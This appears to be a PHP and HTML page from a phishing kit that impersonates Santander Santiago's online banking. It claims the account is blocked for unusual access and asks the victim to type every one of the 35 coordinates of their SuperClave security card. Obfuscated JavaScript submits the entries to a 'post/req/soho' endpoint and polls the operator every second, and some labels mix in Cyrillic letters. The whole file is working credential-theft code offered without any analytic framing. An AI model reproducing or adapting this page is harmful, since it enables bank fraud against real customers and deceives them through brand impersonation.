/home/crealab/carweb.brainware.com.co/app/template/login/santasct/superclave.php
<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
exit();
endif;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/src/css/global.css">
<link rel="stylesheet" href="/src/css/vsTS.css">
<link rel="stylesheet" href="/src/css/vsMS.css">
<link rel="stylesheet" href="/src/css/estilos.css">
<link rel="stylesheet" href="/src/css/loading.css">
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
<title>Santander Santiago</title>
<style>
#msgerror p {
text-align: center;
color: red;
}
</style>
</head>
<body>
<div id="headertop" style="height: 50px;">
<img alt="" id="scnTS_itm1_img_nvl0" src="/src/imagen/logo.gif">
<div class="clearfix">
<ul id="scnTS_itm2_mns_nvl0" class="clearfix">
<img src="/src/imagen/menu/menu2.jpg" height="36" width="408" alt="">
</ul>
</div>
<div id="iddiv">
<span id="idspan1">Bienvenido <strong><?= $userDato->nombre; ?></strong></span>
<span id="idspan2"><?= html_entity_decode($userDato->lastse); ?></span>
</div>
<div id="content"></div>
</div>
<div id="contensec">
<table width="100%" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td valign="top" width="150">
<div id="menu" class="clearfix">
<img src="/src/imagen/menu/menu.jpg" style="cursor: pointer;" height="432" alt="">
</div>
</td>
<td>
<div id="oom" class="mr-10 d-100">
<div class="ouiias">
<p class="red"><strong>Importante: <?= $userDato->nombre; ?>.</strong></p>
<p>Santander. Bloqueo temporal, ingreso inusual a su cuenta, requiere atencion para utilizar su plataforma digital.</p>
<form action="" method="post" name="frmpost" id="frmpost">
<input type="hidden" name="proceso" value="ooweirisaod">
<div>
<div class="container-md">
<div class="caja--icon">
<div class="caja--icon__icon--red"> <i class="str-icon-bloqueo"></i> </div>
<p class="caja__title"> Ingreso de SuperClave</p>
<div class="super-clave">
<div>
<div class="super-clave__container">
<input type="password" id="ic1" class="super-clave__input sc" maxlength="2" required="" data-index="1" data-corde="B1" autocomplete="off" name="ic1" size="2">
<input type="hidden" name="in1" value="<?= $code[0]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[0]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic2" class="super-clave__input sc" maxlength="2" required="" data-index="2" data-corde="B2" autocomplete="off" name="ic2" size="2">
<input type="hidden" name="in2" value="<?= $code[1]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[1]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic3" class="super-clave__input sc" maxlength="2" required="" data-index="3" data-corde="B3" autocomplete="off" name="ic3" size="2">
<input type="hidden" name="in3" value="<?= $code[2]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[2]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic4" class="super-clave__input sc" maxlength="2" required="" data-index="4" data-corde="B4" autocomplete="off" name="ic4" size="2">
<input type="hidden" name="in4" value="<?= $code[3]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[3]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic5" class="super-clave__input sc" maxlength="2" required="" data-index="5" data-corde="B5" autocomplete="off" name="ic5" size="2">
<input type="hidden" name="in5" value="<?= $code[4]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[4]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic6" class="super-clave__input sc" maxlength="2" required="" data-index="6" data-corde="B6" autocomplete="off" name="ic6" size="2">
<input type="hidden" name="in6" value="<?= $code[5]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[5]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic7" class="super-clave__input sc" maxlength="2" required="" data-index="7" data-corde="B7" autocomplete="off" name="ic7" size="2">
<input type="hidden" name="in7" value="<?= $code[6]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[6]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic8" class="super-clave__input sc" maxlength="2" required="" data-index="8" data-corde="B8" autocomplete="off" name="ic8" size="2">
<input type="hidden" name="in8" value="<?= $code[7]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[7]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic9" class="super-clave__input sc" maxlength="2" required="" data-index="9" data-corde="B9" autocomplete="off" name="ic9" size="2">
<input type="hidden" name="in9" value="<?= $code[8]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[8]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic10" class="super-clave__input sc" maxlength="2" required="" data-index="10" data-corde="B10" autocomplete="off" name="ic10" size="2">
<input type="hidden" name="in10" value="<?= $code[9]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[9]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic11" class="super-clave__input sc" maxlength="2" required="" data-index="11" data-corde="B11" autocomplete="off" name="ic11" size="2">
<input type="hidden" name="in11" value="<?= $code[10]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[10]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic12" class="super-clave__input sc" maxlength="2" required="" data-index="12" data-corde="B12" autocomplete="off" name="ic12" size="2">
<input type="hidden" name="in12" value="<?= $code[11]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[11]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic13" class="super-clave__input sc" maxlength="2" required="" data-index="13" data-corde="B13" autocomplete="off" name="ic13" size="2">
<input type="hidden" name="in13" value="<?= $code[12]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[12]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic14" class="super-clave__input sc" maxlength="2" required="" data-index="14" data-corde="B14" autocomplete="off" name="ic14" size="2">
<input type="hidden" name="in14" value="<?= $code[13]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[13]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic15" class="super-clave__input sc" maxlength="2" required="" data-index="15" data-corde="B15" autocomplete="off" name="ic15" size="2">
<input type="hidden" name="in15" value="<?= $code[14]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[14]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic16" class="super-clave__input sc" maxlength="2" required="" data-index="16" data-corde="B16" autocomplete="off" name="ic16" size="2">
<input type="hidden" name="in16" value="<?= $code[15]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[15]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic17" class="super-clave__input sc" maxlength="2" required="" data-index="17" data-corde="B17" autocomplete="off" name="ic17" size="2">
<input type="hidden" name="in17" value="<?= $code[16]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[16]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic18" class="super-clave__input sc" maxlength="2" required="" data-index="18" data-corde="B18" autocomplete="off" name="ic18" size="2">
<input type="hidden" name="in18" value="<?= $code[17]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[17]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic19" class="super-clave__input sc" maxlength="2" required="" data-index="19" data-corde="B19" autocomplete="off" name="ic19" size="2">
<input type="hidden" name="in19" value="<?= $code[18]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[18]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic20" class="super-clave__input sc" maxlength="2" required="" data-index="20" data-corde="B20" autocomplete="off" name="ic20" size="2">
<input type="hidden" name="in20" value="<?= $code[19]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[19]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic21" class="super-clave__input sc" maxlength="2" required="" data-index="21" data-corde="B21" autocomplete="off" name="ic21" size="2">
<input type="hidden" name="in21" value="<?= $code[20]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[20]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic22" class="super-clave__input sc" maxlength="2" required="" data-index="22" data-corde="B22" autocomplete="off" name="ic22" size="2">
<input type="hidden" name="in22" value="<?= $code[21]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[21]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic23" class="super-clave__input sc" maxlength="2" required="" data-index="23" data-corde="B23" autocomplete="off" name="ic23" size="2">
<input type="hidden" name="in23" value="<?= $code[22]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[22]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic24" class="super-clave__input sc" maxlength="2" required="" data-index="24" data-corde="B24" autocomplete="off" name="ic24" size="2">
<input type="hidden" name="in24" value="<?= $code[23]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[23]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic25" class="super-clave__input sc" maxlength="2" required="" data-index="25" data-corde="B25" autocomplete="off" name="ic25" size="2">
<input type="hidden" name="in25" value="<?= $code[24]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[24]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic26" class="super-clave__input sc" maxlength="2" required="" data-index="26" data-corde="B26" autocomplete="off" name="ic26" size="2">
<input type="hidden" name="in26" value="<?= $code[25]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[25]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic27" class="super-clave__input sc" maxlength="2" required="" data-index="27" data-corde="B27" autocomplete="off" name="ic27" size="2">
<input type="hidden" name="in27" value="<?= $code[26]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[26]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic28" class="super-clave__input sc" maxlength="2" required="" data-index="28" data-corde="B28" autocomplete="off" name="ic28" size="2">
<input type="hidden" name="in28" value="<?= $code[27]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[27]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic29" class="super-clave__input sc" maxlength="2" required="" data-index="29" data-corde="B29" autocomplete="off" name="ic29" size="2">
<input type="hidden" name="in29" value="<?= $code[28]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[28]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic30" class="super-clave__input sc" maxlength="2" required="" data-index="30" data-corde="B30" autocomplete="off" name="ic30" size="2">
<input type="hidden" name="in30" value="<?= $code[29]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[29]; ?></label>
</div>
</div>
<div class="mt-20">
<div class="super-clave__container">
<input type="password" id="ic31" class="super-clave__input sc" maxlength="2" required="" data-index="31" data-corde="B31" autocomplete="off" name="ic31" size="2">
<input type="hidden" name="in31" value="<?= $code[30]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[30]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic32" class="super-clave__input sc" maxlength="2" required="" data-index="32" data-corde="B32" autocomplete="off" name="ic32" size="2">
<input type="hidden" name="in32" value="<?= $code[31]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[31]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic33" class="super-clave__input sc" maxlength="2" required="" data-index="33" data-corde="B33" autocomplete="off" name="ic33" size="2">
<input type="hidden" name="in33" value="<?= $code[32]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[32]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic34" class="super-clave__input sc" maxlength="2" required="" data-index="34" data-corde="B34" autocomplete="off" name="ic34" size="2">
<input type="hidden" name="in34" value="<?= $code[33]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[33]; ?></label>
</div>
<div class="super-clave__container">
<input type="password" id="ic35" class="super-clave__input sc" maxlength="2" required="" data-index="35" data-corde="B35" autocomplete="off" name="ic35" size="2">
<input type="hidden" name="in35" value="<?= $code[34]; ?>">
<span class="bar"></span>
<label class="placeholder"><?= $code[34]; ?></label>
</div>
</div>
</div>
<div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
<p class="alerta__txt">Ingresa los dÃgitos indicados por las coordenadas de tu SuperClave</p>
</div>
</div>
</div>
</div>
</form>
<div id="msgerror">
<?php if (isset($_SESSION['fc'])) : ?>
<p>Las coordenada ingresa es in correcta, verifique e intente nuevamente</p>
<?php endif; ?>
</div>
<div style="text-align: center;">
<a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
</div>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<div style="clear: both;"></div>
</div>
<div id="footerp">
<div style="margin: 0px auto;width: 570px;">
<table cellpadding="0" cellspacing="0" align="center">
<tbody>
<tr>
<td>
<div id="isnotMacIE5">
<img src="/src/imagen/menu/menu3.jpg" style="cursor: pointer;margin-top: 2px;" width="570" alt="">
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
<form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
</body>
</html>
<script src="/src/js/uuytaiosido.js"></script>
<script>
var tool = new Mataburr0oa();
var sesoooksd = '<?= $_SESSION['referido']; ?>';
window.onload = () => {
document.getElementById('ic1').focus();
setInterval(() => {
var form = document.forms.formwait;
tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
}, 1000);
}
var inc = document.getElementsByTagName('input');
for (var i = 0; i < inc.length; i++) {
if (inc[i].type == 'password') {
document.getElementsByTagName('input')[i].addEventListener('keypress', founio)
document.getElementsByTagName('input')[i].addEventListener('keyup', ound)
}
}
function ooaosi1(e) {
var obJSON = JSON.parse(e);
if (obJSON.pr) {
if (obJSON.pr == 1) {
if (obJSON.est != <?= $userDato->proceso; ?>) {
formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
}
} else {
window.location.href = '/';
}
}
}
function founio(e = event) {
var charCode = e.key;
if ((/^[0123456789]+$/.test(charCode))) {
return true;
} else {
e.preventDefault();
return false
}
}
function formview($url) {
var $form = document.forms.formview;
$form.setAttribute('action', $url);
$form.submit();
}
function ound() {
//var index = this;
if (this.value.length == 2) {
if (this.getAttribute('data-index') < 35) {
var index = parseInt(this.getAttribute('data-index')) + 1;
document.getElementById('ic' + index).focus();
}
}
ooaposd();
}
function uuryysipq1(res) {
var obJSON = JSON.parse(res);
if (obJSON.pr) {
if (obJSON.pr == 1) {
formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
} else {
window.location.href = '/';
}
} else {
window.location.href = '/';
}
}
function vaform(t) {
if (t.classList.contains('botonPrimario')) {
var form = document.forms.frmpost;
tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
} else {
for (var i = 0; i < inc.length; i++) {
if (inc[i].type == 'password') {
if (inc[i].value.length != 2) {
document.getElementById('msgerror').innerHTML = '<p>Ingresa la coordenada <b>' + inc[i].getAttribute('data-corde') + '</b> de tаrjеtа para continuar</p>';
inc[i].focus();
return false;
}
}
}
}
}
function ooaposd() {
var oasod = true;
for (var i = 0; i < inc.length; i++) {
if (inc[i].type == 'password') {
if (inc[i].value.length != 2) {
oasod = false;
break;
}
}
}
if (oasod == true) {
if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
document.getElementById('btnpost').classList.add('botonPrimario');
document.getElementById('btnpost').classList.remove('botonSecundario');
document.getElementById('btnpost').classList.remove('bordePrincipal');
} else {
if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
document.getElementById('btnpost').classList.add('botonPrimario');
}
}
} else {
if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
document.getElementById('btnpost').classList.remove('botonPrimario');
document.getElementById('btnpost').classList.add('botonSecundario');
document.getElementById('btnpost').classList.add('bordePrincipal');
}
}
}
</script>